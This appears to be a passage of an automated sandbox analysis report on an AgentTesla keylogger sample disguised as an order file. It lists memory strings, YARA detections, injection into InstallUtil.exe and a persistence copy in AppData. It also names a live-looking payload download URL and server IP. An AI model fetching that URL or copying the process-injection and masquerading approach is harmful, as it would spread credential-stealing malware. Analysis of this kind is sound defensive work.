Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004480000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1716960379.00000000034E2000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000001.00000002.1879017395.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000003.00000002.1881514343.00000000028CC000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000003.00000002.1903361036.0000000003921000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000007.00000002.1996337104.00000000042C0000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000007.00000002.1965310119.00000000031FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1735785966.0000000006E80000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1735785966.0000000006E80000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1735785966.0000000006E80000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1716960379.0000000003261000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000003.00000002.1881514343.0000000002651000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000007.00000002.1965310119.0000000002FFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://rubberpartsmanufacturers.com
Source: GEFA-Order 232343-68983689.exe, Cbgoomiexw.exe.0.dr	String found in binary or memory: https://rubberpartsmanufacturers.com/omani/Mrlres.mp3
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1735785966.0000000006E80000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1735785966.0000000006E80000.00000004.08000000.00040000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1716960379.00000000032AA000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000003.00000002.1881514343.000000000269A000.00000004.00000800.00020000.00000000.sdmp, Cbgoomiexw.exe, 00000007.00000002.1965310119.00000000030D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp, GEFA-Order 232343-68983689.exe, 00000000.00000002.1735785966.0000000006E80000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735

Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.191.208.122:443 -> 192.168.2.4:49742 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.raw.unpack, SKTzxzsJw.cs

.Net Code: RePIUNFdBeM

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.raw.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen
Source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.unpack, type: UNPACKEDPE	Matched rule: AgenetTesla Type 2 Keylogger payload Author: ditekSHen

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: GEFA-Order 232343-68983689.exe

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06EE2430 NtProtectVirtualMemory,	0_2_06EE2430
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06EE3520 NtResumeThread,	0_2_06EE3520
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06EE2428 NtProtectVirtualMemory,	0_2_06EE2428
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06EE3518 NtResumeThread,	0_2_06EE3518
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_06302430 NtProtectVirtualMemory,	3_2_06302430
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_06303520 NtResumeThread,	3_2_06303520
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_06302428 NtProtectVirtualMemory,	3_2_06302428
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_06303518 NtResumeThread,	3_2_06303518
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06C52430 NtProtectVirtualMemory,	7_2_06C52430
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06C53520 NtResumeThread,	7_2_06C53520
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06C52428 NtProtectVirtualMemory,	7_2_06C52428
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06C53518 NtResumeThread,	7_2_06C53518

Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_0192CE7C	0_2_0192CE7C
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D7F370	0_2_06D7F370
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D79D98	0_2_06D79D98
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D7A980	0_2_06D7A980
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D7F360	0_2_06D7F360
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D751D8	0_2_06D751D8
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D7A971	0_2_06D7A971
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D9C788	0_2_06D9C788
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D9D4D0	0_2_06D9D4D0
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D9142C	0_2_06D9142C
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D90040	0_2_06D90040
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D9C834	0_2_06D9C834
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D9B7B0	0_2_06D9B7B0
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D9B7A1	0_2_06D9B7A1
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D9C77B	0_2_06D9C77B
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D94290	0_2_06D94290
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D9427F	0_2_06D9427F
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D930C0	0_2_06D930C0
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D930B0	0_2_06D930B0
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D9600D	0_2_06D9600D
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D90007	0_2_06D90007
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D96030	0_2_06D96030
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06D9CA33	0_2_06D9CA33
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06EE5F60	0_2_06EE5F60
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06EE5F51	0_2_06EE5F51
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F18420	0_2_06F18420
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F1C050	0_2_06F1C050
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F18E70	0_2_06F18E70
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F18E61	0_2_06F18E61
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F1D668	0_2_06F1D668
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F18410	0_2_06F18410
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F1C387	0_2_06F1C387
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F10040	0_2_06F10040
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F10006	0_2_06F10006
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F51C82	0_2_06F51C82
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F50040	0_2_06F50040
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_06F50006	0_2_06F50006
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_071ED6B0	0_2_071ED6B0
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_071D0006	0_2_071D0006
Source: C:\Users\user\Desktop\GEFA-Order 232343-68983689.exe	Code function: 0_2_071D0040	0_2_071D0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_01384A60	1_2_01384A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_01389C62	1_2_01389C62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_0138CF28	1_2_0138CF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_01383E48	1_2_01383E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_01384190	1_2_01384190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064A56B0	1_2_064A56B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064A0040	1_2_064A0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064A3F28	1_2_064A3F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064ABCC8	1_2_064ABCC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064A2AE8	1_2_064A2AE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064A8B5A	1_2_064A8B5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064ADBF8	1_2_064ADBF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064A321B	1_2_064A321B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 1_2_064A4FD0	1_2_064A4FD0
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_0260CE7C	3_2_0260CE7C
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_0619F370	3_2_0619F370
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_06199D98	3_2_06199D98
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_0619A980	3_2_0619A980
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_0619F360	3_2_0619F360
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_0619A971	3_2_0619A971
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_061951D8	3_2_061951D8
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_061BC788	3_2_061BC788
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_061B142C	3_2_061B142C
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_061BD4D0	3_2_061BD4D0
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_061B0040	3_2_061B0040
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_061BC834	3_2_061BC834
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_061BC77E	3_2_061BC77E
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_061BB7B0	3_2_061BB7B0
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_061BB7A1	3_2_061BB7A1
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_061B427F	3_2_061B427F
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_061B4290	3_2_061B4290
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_061B600D	3_2_061B600D
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_061B0006	3_2_061B0006
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_061B6030	3_2_061B6030
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_061B30B0	3_2_061B30B0
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_061B30C0	3_2_061B30C0
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_061BCA33	3_2_061BCA33
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_0630FE39	3_2_0630FE39
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_06305F60	3_2_06305F60
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_06305F52	3_2_06305F52
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_06338420	3_2_06338420
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_0633C050	3_2_0633C050
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_06338E70	3_2_06338E70
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_06338E61	3_2_06338E61
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_0633D668	3_2_0633D668
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_06335F0D	3_2_06335F0D
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_06338410	3_2_06338410
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_0633C387	3_2_0633C387
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_06330006	3_2_06330006
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_06330040	3_2_06330040
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_06341232	3_2_06341232
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_063409B8	3_2_063409B8
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_0637003E	3_2_0637003E
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_06370040	3_2_06370040
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_06371C82	3_2_06371C82
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_0660D6B0	3_2_0660D6B0
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_065F0040	3_2_065F0040
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 3_2_065F0006	3_2_065F0006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_00DD4190	4_2_00DD4190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_00DD4A60	4_2_00DD4A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_00DD9C63	4_2_00DD9C63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_00DD3E48	4_2_00DD3E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_00DDCF28	4_2_00DDCF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_0551AD80	4_2_0551AD80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 4_2_05519534	4_2_05519534
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_0152CE7C	7_2_0152CE7C
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06AEF370	7_2_06AEF370
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06AE9D98	7_2_06AE9D98
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06AEA980	7_2_06AEA980
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06AEF360	7_2_06AEF360
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06AE91C9	7_2_06AE91C9
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06AE51D8	7_2_06AE51D8
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06AEA971	7_2_06AEA971
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06B0C788	7_2_06B0C788
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06B0D4D0	7_2_06B0D4D0
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06B0142C	7_2_06B0142C
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06B00040	7_2_06B00040
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06B0C834	7_2_06B0C834
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06B0B7B0	7_2_06B0B7B0
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06B0B7A1	7_2_06B0B7A1
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06B0C77B	7_2_06B0C77B
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06B04290	7_2_06B04290
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06B0427F	7_2_06B0427F
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06B030B1	7_2_06B030B1
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06B030BF	7_2_06B030BF
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06B030C0	7_2_06B030C0
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06B06030	7_2_06B06030
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06B00006	7_2_06B00006
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06B0600D	7_2_06B0600D
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06B0CA33	7_2_06B0CA33
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06C55F53	7_2_06C55F53
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06C55F60	7_2_06C55F60
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06C88420	7_2_06C88420
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06C8C050	7_2_06C8C050
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06C88E61	7_2_06C88E61
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06C88E70	7_2_06C88E70
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06C88410	7_2_06C88410
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06C8C387	7_2_06C8C387
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06C80040	7_2_06C80040
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06C80006	7_2_06C80006
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06CC1C82	7_2_06CC1C82
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06CC0040	7_2_06CC0040
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06CC0007	7_2_06CC0007
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06F5D6B0	7_2_06F5D6B0
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06F40040	7_2_06F40040
Source: C:\Users\user\AppData\Roaming\Cbgoomiexw.exe	Code function: 7_2_06F40007	7_2_06F40007
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_03154A60	8_2_03154A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_0315CF28	8_2_0315CF28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_03153E48	8_2_03153E48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_03159C68	8_2_03159C68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_03154190	8_2_03154190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_0602AD80	8_2_0602AD80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_06029534	8_2_06029534

Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1716960379.000000000342A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1716960379.000000000342A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameZigzwtwkov.exe6 vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004480000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7dfcfdf2-d881-49c9-a39e-708aca656f85.exe4 vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAwndfiup.dll" vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004531000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1731922490.0000000006BE0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameAwndfiup.dll" vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000000.1657510996.0000000000F52000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameZigzwtwkov.exe6 vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1736166624.0000000006F60000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1716960379.00000000034E2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7dfcfdf2-d881-49c9-a39e-708aca656f85.exe4 vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1735785966.0000000006E80000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1716960379.00000000032AA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1714806608.000000000161E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.000000000440A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004261000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameAwndfiup.dll" vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe, 00000000.00000002.1727745948.0000000004261000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs GEFA-Order 232343-68983689.exe
Source: GEFA-Order 232343-68983689.exe	Binary or memory string: OriginalFilenameZigzwtwkov.exe6 vs GEFA-Order 232343-68983689.exe

Source: GEFA-Order 232343-68983689.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.GEFA-Order 232343-68983689.exe.4495600.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
